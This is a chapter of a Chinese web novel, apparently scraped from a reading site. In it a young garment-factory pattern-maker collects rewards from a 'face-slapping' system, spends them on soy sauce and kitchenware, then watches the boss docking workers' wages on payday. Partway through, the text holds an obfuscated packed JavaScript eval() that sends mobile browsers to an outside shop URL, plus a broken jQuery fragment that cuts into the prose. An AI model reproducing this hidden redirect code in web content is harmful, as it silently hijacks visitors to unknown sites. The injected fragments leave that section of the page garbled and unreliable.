文趣网 > 其他小说 > 神豪打脸系统2010 > 4. 第 4 章
    许荔安站在原地,感觉自己的后背出了一层薄汗。

    王师傅把叼了半天的烟头从嘴里取下来,看了她一眼,又塞回去,用不知道是感叹还是陈述的语气说了一句:“嗯,他确实没儿子,急着生,到处求偏方呢。”

    这句话落地的重量,比许荔安刚才整段发言加在一起都重。

    许荔安终于没忍住,笑了出来。

    她赶紧低下头假装在整理桌上的纸样,但肩膀一耸一耸的。

    【打脸事件已完成。

    打脸行为:

    第一回合,以面料缩水率数据化解缝份争议,从专业层面击破大学生只会纸上谈兵的质疑。

    第二回合,指出纸样问题本可在模板设置阶段由贬低行为发起人刘师傅修正,将事件性质上升到故意不反馈及对工厂有意见。

    第三回合,用要求对方发毒誓攻击点精准命中对方人生痛处,在围观群众配合下完成关键破防。王师傅后续补刀为意外爆击。

    打脸金额支出:0元。

    额外奖励:因本次打脸未使用资金,打脸金发放系数永久提升5%。

    节目效果评分:6.8/10。

    观众评价精选:

    “卧槽这个反转可以啊!本以为跟昨天菜市场一样纯靠嘴皮子,结果直接从专业层面破局!”

    “王师傅补刀说他确实没儿子,全场最佳辅助。”

    “毒誓攻击物理伤害+真实伤害+范围伤害,三伤叠加。”

    剩余打脸金:500元。消费时限:6日。请宿主注意及时使用,逾期将从个人资产中扣除。

    系统特别提示:宿主本次表现超出预期,建议继续保持差异化打脸策略,持续创新打脸话术。】

    许荔安听完系统反馈,在心里默默给刘师傅上了炷香。

    打脸金先买高档生抽,加一盒卤鸭翅,再来一台电磁炉和配套的小锅。

    不对,应该先给自己买双新帆布鞋,脚下这双左脚快磨平了,走路像在踩斜坡。

    怎么算着五百不够用呢,许荔安忍不住在脑海里对系统问了句:“系统系统,下次打脸事件什么时候来?”

    【系统提示:请宿主安心工作。打脸事件不可强求,该来的总会来。】

    许荔安这周过得索然无味。

    她每天上班十一个小时,有十个半在等某人跳出来鄙视她。

    结果左等右等,愣是没人来。

    周一炸场式打脸之后,整个金凯隆对她的态度来了个一百八十度急转弯。

    李姐见到她就笑,笑得跟见了亲闺女似的,中午吃饭的时候主动给她留位置,远远就喊:“小许,过来坐!今天食堂有红烧肉,给你留了一块大的。”

    许荔安端着碗坐过去,其他女工见了她也不叫名字了,直接叫她小许老师。

    连老板的远房亲戚学徒,这几天都破天荒主动帮她搬了一捆牛皮纸。

    唯一没变的是王师傅。他该抽烟抽烟,该让她画图画图,递纸样的时候头都不抬,甚至速度要求还更严格了些。

    听李姐说,刘师傅周一那天去找老板告状,老板听完沉默了半天,最后只说了一句:“那你以后仔细点。”

    从此刘师傅整个人像被抽走了骨头,看到她绕着走,有时候在走廊上迎面碰上,他宁可转身倒回去走另一条楼梯。

    许荔安蹲在打版房窗边,托着下巴看楼下刘师傅仓皇拐弯的背影。

    “系统系统,”她在脑子里说,“我是不是把这个副本的怪清完了?怎么没人来送人头了?”

    【检测到宿主周边环境友善度大幅提升。当前日常鄙视事件触发概率:6.7%。建议宿主主动更换场景或升级挑战对象。】

    “你的意思是,我在这个厂已经出名到没人敢惹了?”

    【精辟总结。建议宿主拓展社交范围,前往鄙视资源更丰富的区域。】

    许荔安扼腕,恨不得自己穿越的是本男频无脑下沉网文,主角都修炼到一代宗师了,还是有反派不认识他,把主角当无名小卒看,前仆后继地送上门被主角打脸。

    但她现在兜里揣着五百块打脸金,得先处理掉再说,当初系统给了六天时限,今天已经周六了,她天天上班,只来得及花一块钱。

    周一下班她去了趟小卖部,花一块钱买了包最便宜的袋装酱油,回去倒进了前任房客留下的空酱油瓶。瓶壁上的标签被她撕了,玻璃瓶身擦得锃亮,倒进新酱油之后看起来跟新的一样。

    周六下午,许荔安掐着四点半的下班铃,第一个冲出打版房。

    王师傅在身后弹了一下烟灰,说了句:“跑那么快赶着投胎啊。”

    她头也不回地回了一句:“赶着花钱呢师傅。”

    背着书包一路飞奔到超市门口,她站在吹冷风的机器处,让全身细胞接受了整整十秒的灵魂洗礼,然后推着购物车直奔调料区。

    “李锦记草菇老抽,十四块八。”她抄起最贵的磨砂玻璃瓶装酱油在手里转了一圈,“配得上我打脸赚的五百块。”

    选定酱油,她又到厨具区拿了一个小号电饭煲99,一个258的电磁炉,配套69的电磁炉专用炒锅。剩余59块2毛钱,她在凉菜区左挑右选,拿了卤鸭腿,猪头肉再配上凉菜拼盘,总价58块2毛钱。

    最后一块钱,她从冰柜里凑了根最便宜的冰棍,哼着小曲去结账。

    钱刚刚好的感觉真爽,唯一遗憾是还没买到新帆布鞋。

    没事,还有下次。

    回到出租屋,许荔安把李锦记从书包里拿出来,跟她之前那瓶一块钱酱油并排放在桌子上。

    她对着那两个瓶子,用一种自己都觉得荒唐的语气念了一句:“因为我有钱了,所以酱油我要吃一瓶,倒一瓶。”

    念完之后她笑了半天,觉得自己像个神经病。

    “一瓶用来吃,一瓶用来倒。这就是有钱人的快乐。”她对着那个没标签的瓶子郑重宣布,“你,接受被我倒的命运吧。”

    她抓起没标签的裸瓶,哼着《送别》的调子,走到了公共卫生间,庄重地拧开了瓶口,向下。

    黑棕色的液体汩汩流出,涌进洗手池的洞口,在白色瓷面上拖出一道深色的痕迹。

    许荔安专心盯着那道痕迹,在心里硬给自己的行为赋予了一层哲学意义。

    这,代表我即将转运。

    倒到最后剩一点瓶底,她扭转方向,把瓶盖盖好,洗净瓶身,又拿回屋子里,放在窗台上。

    【为什么不倒了?】

    “太有纪念意义了,我要一辈子留着,带到墓里去。”

    【此愿想无法实现,宿主通过打脸金购买的所有物品,将在2025年1月1日零点全部消失。】

    “怎么还带打补丁的,当初怎么不说!”

    要知道许荔安还计划过未来拿打脸金囤一堆奢侈品或者黄金,等着买二手回血呢,谁知系统把这条路给堵得死死的。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17927914|213564||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她抱怨了老长一顿,系统也没有搭理她,到最后她抱怨累了,长叹一口气,无奈地问:“那我要是买房呢?一个大房子怎么消失?”

    【产权登记信息将被系统清除,房屋将自动归还原业主或收归国有,具体取决于当地法律。但可以确信的是,宿主名下将不再持有该房产。】

    许荔安想了想,拿丝带快速缠了一朵花绑在瓶口。

    【为什么?】

    “你不是说2024年最后一刻,我所有花打脸金买的东西都会消失吗?”许荔安把窗户推开一条缝,让夜风灌进来,“那就用这瓶酱油来告别吧,跨年的时候亲眼见证它凭空消失。”

    周一回厂里,要不要主动去招惹一下老板?

    周一早上,许荔安刚进厂门就感觉气氛不对。

    平时早上七点半,全厂都已经热火朝天干起来了,今天缝纫车间一个人都没有,所有人全挤在一楼楼梯口,手里既不拿布也不拿线,三三两两凑在一起交头接耳,像一群即将被投喂的鸽子。

    李姐靠着楼梯栏杆嗑瓜子,把瓜子皮精准地吐进走廊拐角的废纸篓里,十发九中。

    她朝许荔安招了招手:“小许!今天开工资,过来排队。”

    许荔安这才想起来,今天八月一号,发薪日。

    金凯隆每月一号由老板娘亲自发放现金工资。

    不打银行卡因为老板说转账要手续费,老板娘说给工人办卡还要跑银行太麻烦,实际上全厂都知道真正原因。

    他们不想交社保也不想多交税。

    走廊里的议论声此起彼伏。

    “听说上个月出货量不错,老板娘心情好,应该不会找理由扣钱吧。”

    “你哪次发工资见她心情好了?她只有扣钱的时候心情最好。”

    财务室的门终于在八点整准时打开,原本排成一条线的人群一拥而上,挤成一团。

    老板娘坐在办公桌后面,面前摆着一摞牛皮纸信封,每个信封上用圆珠笔写着名字。她烫着小卷发,手腕上的金镯子随着她发钱的动作用力晃荡,晃得人眼晕。

    出纳走到门口吆喝:“排好队,一个个来,听到名字再进屋。”

    第一个人进门,打开信封数了数,眉头立刻拧成一个疙瘩:“怎么少了两百?”

    “上个月你迟到三次,一次扣五十,还有五十是上次出货你切坏了一块料子。”会计解释。

    “我迟到是因为那天早上电瓶车爆胎了!”

    “规矩就是规矩,”老板娘头也没抬,“你干这么多年了还不懂吗?下一个。”

    老师傅的脸涨得通红,咬牙切齿地攥着钱走了出去。

    第二个人出来的时候脸拉得比马脸还长,边走边嘟囔:“妈的,上个月早上忘打卡两次扣了一百,我几点来的她自己心里没数?”

    李姐进去不到一分钟,大嗓门就透过门板传出来:“返工是面料问题,印花本来就歪的,跟我有什么关系?”

    “出到客户手里被退货,所有经手人一起扣。扣你五十已经算少了。”

    她出来的时候眼圈发红,经过许荔安身边低声骂了一句不要脸。

    食堂做饭的阿姨被扣了四十,理由是上个月买的盐比上上个月贵了两毛一斤,没控制成本。

    许荔安靠在走廊墙上,听着屋子里一场接一场的微型战争。每个人进去的时候都好好的,出来的时候要么咬牙切齿要么唉声叹气。

    然后王师傅叼着烟走了进去。